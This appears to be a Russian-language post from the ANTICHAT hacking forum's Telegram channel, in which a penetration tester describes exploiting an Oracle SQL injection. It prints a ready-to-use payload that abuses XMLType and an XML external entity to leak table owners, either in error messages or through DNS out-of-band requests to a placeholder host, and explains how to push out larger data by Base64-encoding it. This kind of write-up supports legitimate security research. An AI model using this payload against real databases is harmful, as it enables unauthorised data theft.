Обложка канала

ANTICHAT Channel

7910 @antichat

Официальный канал https://forum.antichat.ru одного из лучших форумов для специалистов в области IT

ANTICHAT Channel

4 года назад
Открыть в
#sqli #oracle XXE via SQLi Oracle ? Из всех SQL инъекций, которые мне попадались реже всего сталкивался c ORACLE, если не считать прям каких-то редких и специфических. И недавно на пентесте обнаружил инъекцию в ORACLE. При быстром поиске возникли подозрения на XXE, но эксплуатация к сожалению, оказалась невозможна, версия уже запатчена, но вектор интересный, подробнее про этот вектор можно прочитать тут: www.netspi.com/blog/te…014-6577 Но саму SQLi полноценно эксплуатировать получилось все через тот же XMLType. В моем случае это оказался Error-Based и не нужно было думать о передаче данных в DNS записи. Пайлоад в итоге выглядит так, с выводом, как на скрине.
'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % jiest SYSTEM "http://'||(select owner from (select owner, rownum as rn from (select DISTINCT owner from all_tables order by owner asc)) where rn=1)||'.server/">%jiest;]>'),'/l') from dual)||'

Но, в случае, если у нас слепая инъекция и у нас есть возможность достучаться до DNS, получается DNS – Based OOB SQLi. С помощью такого запроса, как выше можно отправить данные, но если нужно много данных из БД отправить, то стандартным запросом не получится, так как в DNS записях не могут быть пробелы, поэтому пробелы нужно заменить, например, с помощью функции Replace() еще и в Base64 выводить. Удобная штука при эксплуатации: https://livesql.oracle.com/